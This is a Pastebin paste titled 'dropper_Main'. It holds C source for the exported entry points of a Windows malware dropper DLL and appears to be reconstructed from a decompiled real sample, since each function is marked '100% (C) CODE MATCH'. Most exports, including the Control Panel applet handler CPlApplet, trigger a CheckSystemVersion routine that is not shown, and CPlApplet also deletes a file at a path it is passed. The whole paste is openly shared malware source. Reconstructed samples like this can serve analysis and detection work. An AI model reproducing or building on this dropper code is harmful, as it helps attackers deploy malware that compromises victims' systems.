Advertisement
FlyFar

dropper_Main

Feb 18th, 2023 (edited)
543
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.54 KB | Cybersecurity | 0 0
  1. #include "3. OS.h"
  2. #include "config.h"
  3. #include "StdAfx.h"
  4.  
  5. HINSTANCE g_hInstDLL = NULL;
  6.  
  7. // 100% (C) CODE MATCH
  8. BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
  9. {
  10.     DEBUG_P("DllMain called")
  11.    
  12.     if(fdwReason && fdwReason == 1)
  13.         g_hInstDLL = hinstDLL;
  14.    
  15.     return TRUE;
  16. }
  17.  
  18. // 100% (C) CODE MATCH
  19. BOOL WINAPI DllUnregisterServerEx(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
  20. {
  21.     DEBUG_P("DllUnregisterServerEx called")
  22.    
  23.     if(fdwReason && fdwReason == 1)
  24.     {
  25.         g_hInstDLL = hinstDLL;
  26.         CheckSystemVersion(TRUE);
  27.     }
  28.    
  29.     return FALSE;
  30. }
  31.  
  32. // 100% (C) CODE MATCH
  33. STDAPI APIENTRY DllCanUnloadNow(void)
  34. {
  35.     DEBUG_P("DllCanUnloadNow called")
  36.    
  37.     g_hInstDLL = GetModuleHandleW(0);
  38.     CheckSystemVersion(TRUE);
  39.    
  40.     ExitProcess(0);
  41. }
  42.  
  43. // 100% (C) CODE MATCH
  44. STDAPI APIENTRY DllGetClassObject(const IID *const rclsid, const IID *const riid, LPVOID *ppv)
  45. {
  46.     DEBUG_P("DllGetClassObject called")
  47.    
  48.     CheckSystemVersion(TRUE);
  49. }
  50.  
  51. // 100% (C) CODE MATCH
  52. STDAPI APIENTRY DllRegisterServerEx(void)
  53. {
  54.     DEBUG_P("DllRegisterServerEx called")
  55.    
  56.     CheckSystemVersion(TRUE);
  57.     return 1;
  58. }
  59.  
  60. // 100% (C) CODE MATCH
  61. LONG WINAPI CPlApplet(HWND hwndCPl, UINT uMsg, LPARAM lParam1, LPARAM lParam2)
  62. {
  63.     DEBUG_P("CPlApplet called")
  64.    
  65.     if(*(DWORD *)(hwndCPl + 2))
  66.         DeleteFileA(*(LPCSTR *)(hwndCPl + 2));
  67.    
  68.     CheckSystemVersion(TRUE);
  69.     return 1;
  70. }
  71.  
  72. // 100% (C) CODE MATCH
  73. STDAPI APIENTRY DllGetClassObjectEx(int a1, int a2, int a3, int a4)
  74. {
  75.     DEBUG_P("DllGetClassObjectEx called")
  76.    
  77.     CheckSystemVersion(FALSE);
  78. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement